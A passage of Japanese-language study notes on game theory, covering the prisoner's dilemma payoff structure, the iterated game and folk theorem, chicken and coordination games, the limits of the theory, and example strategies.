&lt;div&gt;&lt;span&gt;    A[囚人のジレンマ&amp;lt;br/&amp;gt;Prisoner's Dilemma] --&amp;gt; B[プレイヤー1の選択&amp;lt;br/&amp;gt;Player 1 Choice]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; C[プレイヤー2の選択&amp;lt;br/&amp;gt;Player 2 Choice]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; D[協力C&amp;lt;br/&amp;gt;Cooperate]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; E[裏切りD&amp;lt;br/&amp;gt;Defect]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; F[協力C&amp;lt;br/&amp;gt;Cooperate]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; G[裏切りD&amp;lt;br/&amp;gt;Defect]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; H[C,C&amp;lt;br/&amp;gt;-1,-1&amp;lt;br/&amp;gt;両者協力]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; I[C,D&amp;lt;br/&amp;gt;-10,0&amp;lt;br/&amp;gt;プレイヤー1が損]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; J[D,C&amp;lt;br/&amp;gt;0,-10&amp;lt;br/&amp;gt;プレイヤー2が損]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; K[D,D&amp;lt;br/&amp;gt;-5,-5&amp;lt;br/&amp;gt;ナッシュ均衡]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; H&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; J&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; K&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    L[利得構造&amp;lt;br/&amp;gt;T&amp;gt;R&amp;gt;P&amp;gt;S&amp;lt;br/&amp;gt;T=0 R=-1 P=-5 S=-10] --&amp;gt; M[支配戦略&amp;lt;br/&amp;gt;Dominant Strategy&amp;lt;br/&amp;gt;両者とも裏切り]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    M --&amp;gt; K&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 囚人のジレンマの数学的構造&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;囚人のジレンマは、以下の条件を満たす利得構造を持つ（標準的な記号：$&lt;/span&gt;&lt;span&gt;R$&lt;/span&gt;&lt;span&gt; = 両者協力の報酬、$&lt;/span&gt;&lt;span&gt;T$&lt;/span&gt;&lt;span&gt; = 裏切りの誘惑、$&lt;/span&gt;&lt;span&gt;P$&lt;/span&gt;&lt;span&gt; = 両者裏切りの罰、$&lt;/span&gt;&lt;span&gt;S$&lt;/span&gt;&lt;span&gt; = 協力者の損失）：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**裏切りの誘惑**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;T &amp;gt; R$&lt;/span&gt;&lt;span&gt;（相手が協力している場合、裏切る方が得）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**協力の相互利益**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;R &amp;gt; P$&lt;/span&gt;&lt;span&gt;（両者が協力する方が、両者が裏切るより良い）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**裏切りの罰**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;P &amp;gt; S$&lt;/span&gt;&lt;span&gt;（両者裏切りの方が、自分が協力して相手が裏切るより良い）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**支配戦略**&lt;/span&gt;&lt;span&gt;：相手の行動に関わらず、裏切り（$&lt;/span&gt;&lt;span&gt;D$&lt;/span&gt;&lt;span&gt;）が協力（$&lt;/span&gt;&lt;span&gt;C$&lt;/span&gt;&lt;span&gt;）より常に高い利得を与える（$&lt;/span&gt;&lt;span&gt;T &amp;gt; R$&lt;/span&gt;&lt;span&gt; かつ $&lt;/span&gt;&lt;span&gt;P &amp;gt; S$&lt;/span&gt;&lt;span&gt;）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;まとめると、$&lt;/span&gt;&lt;span&gt;T &amp;gt; R &amp;gt; P &amp;gt; S$&lt;/span&gt;&lt;span&gt; の順序が成立する。また、繰り返しゲームで協力が維持されるためには、$&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;R &amp;gt; T + S$&lt;/span&gt;&lt;span&gt; の条件も必要となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;上記の利得表では（値が小さいほど良い、例：刑期）：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;(C, C) = (-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, -&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt;：両者協力（$&lt;/span&gt;&lt;span&gt;R = -&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;(D, C) = (&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, -&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt;：自分が裏切り、相手が協力（$&lt;/span&gt;&lt;span&gt;T = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;、$&lt;/span&gt;&lt;span&gt;S = -&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;(C, D) = (-&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt;：自分が協力、相手が裏切り（$&lt;/span&gt;&lt;span&gt;S = -&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;、$&lt;/span&gt;&lt;span&gt;T = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;(D, D) = (-&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;, -&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt;：両者裏切り（$&lt;/span&gt;&lt;span&gt;P = -&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この利得構造では、$&lt;/span&gt;&lt;span&gt;T = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &amp;gt; R = -&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &amp;gt; P = -&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt; &amp;gt; S = -&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; となり、囚人のジレンマの条件を満たしている。この構造では、$&lt;/span&gt;&lt;span&gt;(D, D)$&lt;/span&gt;&lt;span&gt; が唯一のナッシュ均衡となるが、社会的には $&lt;/span&gt;&lt;span&gt;(C, C)$&lt;/span&gt;&lt;span&gt; の方がパレート効率的（誰の利得も悪化させずに改善できない状態）である。この矛盾が「ジレンマ」の本質である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 繰り返し囚人のジレンマ（Iterated Prisoner's Dilemma）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1回限りのゲームでは裏切りが支配戦略となるが、同じプレイヤー同士が繰り返し対戦する場合（繰り返し囚人のジレンマ）、協力が維持される可能性がある。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;重要な概念：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**割引因子（discount factor）**&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta$&lt;/span&gt;&lt;span&gt;：将来の利得を現在価値に換算する際の割引率。$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta$&lt;/span&gt;&lt;span&gt; が大きいほど（将来を重視するほど）、協力が維持されやすい。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**フォーク定理（Folk Theorem）**&lt;/span&gt;&lt;span&gt;：十分に高い割引因子の下では、様々な利得の組が均衡として実現可能である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### フォーク定理の数学的定式化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;無限繰り返しゲームにおいて、実行可能利得集合 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{F}$&lt;/span&gt;&lt;span&gt; 内の任意の利得ベクトル $&lt;/span&gt;&lt;span&gt;(v_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots, v_n)$&lt;/span&gt;&lt;span&gt; が、各プレイヤー $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; の最小最大利得 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;underline&lt;/span&gt;&lt;span&gt;{v}_i = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_&lt;/span&gt;&lt;span&gt;{-i}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_i} u_i(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_i, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_&lt;/span&gt;&lt;span&gt;{-i})$&lt;/span&gt;&lt;span&gt; を上回る限り、十分に高い割引因子 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta$&lt;/span&gt;&lt;span&gt; の下でサブゲーム完全均衡として実現可能である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### フォーク定理の概念図&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図12: フォーク定理の概念図**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "実行可能利得集合"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[実行可能利得集合F&amp;lt;br/&amp;gt;Feasible Payoff Set&amp;lt;br/&amp;gt;v₁,v₂,...,vₙ] --&amp;gt; B[最小最大利得&amp;lt;br/&amp;gt;Minimax Payoff&amp;lt;br/&amp;gt;v_i = min max u_i]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "フォーク定理の条件"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; C[利得の条件&amp;lt;br/&amp;gt;v_i &amp;gt; v_i&amp;lt;br/&amp;gt;for all i]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; D[割引因子の条件&amp;lt;br/&amp;gt;δ sufficiently high&amp;lt;br/&amp;gt;δ ≥ δ_bar]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "均衡の実現"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; E[サブゲーム完全均衡&amp;lt;br/&amp;gt;Subgame Perfect Equilibrium&amp;lt;br/&amp;gt;SPE]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; F[トリガー戦略&amp;lt;br/&amp;gt;Trigger Strategy&amp;lt;br/&amp;gt;協力からの逸脱で&amp;lt;br/&amp;gt;永久に罰則]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "協力の維持条件"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; G[協力の利得&amp;lt;br/&amp;gt;R + δR + δ²R + ...&amp;lt;br/&amp;gt;= R/1-δ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; H[裏切りの利得&amp;lt;br/&amp;gt;T + δv_i + δ²v_i + ...&amp;lt;br/&amp;gt;= T + δv_i/1-δ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; I[協力維持条件&amp;lt;br/&amp;gt;R/1-δ ≥ T + δv_i/1-δ&amp;lt;br/&amp;gt;δ ≥ T-R/T-v_i]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "結果"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; J[十分に高いδで&amp;lt;br/&amp;gt;様々な利得が&amp;lt;br/&amp;gt;均衡として実現可能]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;数学的には、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall v &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{F}$&lt;/span&gt;&lt;span&gt; で $&lt;/span&gt;&lt;span&gt;v_i &amp;gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;underline&lt;/span&gt;&lt;span&gt;{v}_i$&lt;/span&gt;&lt;span&gt; が成立するなら、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;exists &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta} &amp;lt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; が存在し、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in (&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta}, &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt; に対して、利得 $&lt;/span&gt;&lt;span&gt;v$&lt;/span&gt;&lt;span&gt; を実現するサブゲーム完全均衡が存在する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;トリガー戦略の下では、協力からの逸脱に対する罰則として、以降永久に最小最大利得 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;underline&lt;/span&gt;&lt;span&gt;{v}_i$&lt;/span&gt;&lt;span&gt; を獲得する。協力が維持される条件は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;R + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta R + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; R + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdots = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge T + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;underline&lt;/span&gt;&lt;span&gt;{v}_i + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;underline&lt;/span&gt;&lt;span&gt;{v}_i + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdots = T + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;underline&lt;/span&gt;&lt;span&gt;{v}_i}{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;すなわち $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{T-R}{T-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;underline&lt;/span&gt;&lt;span&gt;{v}_i}$&lt;/span&gt;&lt;span&gt; である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### その他の代表的なゲーム&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### チキンゲーム（Chicken Game）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;両者が対立する行動を取った場合、最悪の結果が生じるゲーム。利得構造は以下のようになる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| 自分 \ 相手 | 相手:協力 | 相手:裏切り |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|-----|-----------|-------------|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 自分:協力 | 3, 3       | 1, 4        |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 自分:裏切り | 4, 1       | 0, 0        |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;このゲームには2つの純粋戦略ナッシュ均衡 $&lt;/span&gt;&lt;span&gt;(C, D)$&lt;/span&gt;&lt;span&gt; と $&lt;/span&gt;&lt;span&gt;(D, C)$&lt;/span&gt;&lt;span&gt; が存在し、混合戦略均衡も存在する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 協調ゲーム（Coordination Game）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;両者が同じ行動を取ることが最適となるゲーム。例：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| 自分 \ 相手 | 相手:A | 相手:B |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|-----|--------|--------|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 自分:A | 2, 2   | 0, 0   |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 自分:B | 0, 0   | 1, 1   |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;このゲームには2つのナッシュ均衡 $&lt;/span&gt;&lt;span&gt;(A, A)$&lt;/span&gt;&lt;span&gt; と $&lt;/span&gt;&lt;span&gt;(B, B)$&lt;/span&gt;&lt;span&gt; が存在するが、$&lt;/span&gt;&lt;span&gt;(A, A)$&lt;/span&gt;&lt;span&gt; の方がパレート優越的である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;【現実での適用と限界】&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;このモデルを用いることで現実世界の意思決定状況も分析できるが、実際には「完璧な情報」や「相手の戦略が読める」ことは稀であり、「戦争の霧」と呼ばれるように最適な行動が常に明確とは限らず、不確実性や誤り、心理的要因が意思決定に影響を及ぼすことも多い。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって、ゲーム理論は最良の戦略を構築するための分析ツールとして有用だが、その限界や現実状況を考慮する必要がある。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ゲーム理論の限界と拡張&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 1. 合理性の仮定&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;標準的なゲーム理論は、プレイヤーが完全に合理的で、利得を最大化することを仮定する。しかし、現実では：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**限定合理性（bounded rationality）**&lt;/span&gt;&lt;span&gt;：情報処理能力の限界&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**行動経済学の知見**&lt;/span&gt;&lt;span&gt;：損失回避、フレーミング効果、時間割引の非一貫性など&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 2. 情報の非対称性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;現実の多くの状況では、プレイヤー間で情報が非対称である：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**逆選択（adverse selection）**&lt;/span&gt;&lt;span&gt;：情報の非対称性による市場の失敗&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**モラルハザード（moral hazard）**&lt;/span&gt;&lt;span&gt;：行動が観察できないことによる問題&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 3. 進化ゲーム理論（Evolutionary Game Theory）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;伝統的なゲーム理論が合理性を仮定するのに対し、進化ゲーム理論は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 戦略が自然選択や学習によって進化する過程を分析&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**進化的に安定な戦略（ESS: Evolutionarily Stable Strategy）**&lt;/span&gt;&lt;span&gt;：集団の大部分がその戦略を採用している場合、他の戦略が侵入できない戦略&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; レプリケータ動学（replicator dynamics）による戦略分布の時間変化を分析&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 4. 実験ゲーム理論&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;実験室やフィールドでの実験により、理論的予測と実際の行動の乖離を検証：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 実際の人間は理論的予測よりも協力的であることが多い&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 公平性や互恵性（reciprocity）への選好が観察される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;戦略例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; 全協力（Always Cooperate）  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   常に協力を選び続ける戦略。たとえ相手が裏切っても，一切裏切らず誠実に協力し続ける。  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   メリット：相手も協力者の場合に最も高い利得を得られる。  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   デメリット：裏切る相手に対して一方的に搾取されやすい。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; 非全協力（Always Defect）  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   常に裏切りを選び続ける戦略。協力の意思は一切見せず，毎回裏切る。  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   メリット：純粋な協力者に対しては最大の利得を得られる。  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   デメリット：互いに裏切ると双方とも利得が小さくなる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
